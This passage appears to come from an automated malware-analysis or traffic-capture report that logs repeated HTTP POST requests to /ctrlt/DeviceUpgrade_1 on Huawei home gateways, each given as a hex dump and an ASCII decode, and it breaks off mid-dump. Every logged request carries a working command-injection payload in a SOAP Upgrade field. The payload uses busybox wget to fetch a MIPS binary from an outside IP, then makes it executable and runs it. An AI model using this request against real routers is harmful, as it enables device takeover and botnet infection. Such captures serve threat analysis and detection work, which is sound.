-g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 